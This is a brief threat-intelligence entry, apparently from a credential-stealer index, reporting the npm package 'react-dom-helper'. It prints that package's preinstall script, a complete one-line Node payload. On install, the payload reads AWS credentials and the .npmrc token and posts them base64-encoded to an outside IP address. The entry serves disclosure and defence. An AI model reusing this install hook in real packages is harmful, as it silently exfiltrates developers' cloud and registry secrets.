react-dom-helper flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

/incidentsfield log

react-dom-helper flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

try{data+=fs.readFileSync(home+'/.aws/credentials','utf8')}catch(e){}

// package.json:scripts.preinstall

node -e "const os=require('os');const fs=require('fs');const https=require('https');const home=os.homedir();let data='';try{data+=fs.readFileSync(home+'/.aws/credentials','utf8')}catch(e){}try{data+=fs.readFileSync(home+'/.npmrc','utf8')}catch(e){}const opts={hostname:'104.248.94.23',port:443,path:'/c',method:'POST'};const r=https.request(opts);r.write(Buffer.from(data).toString('base64'));r.end();"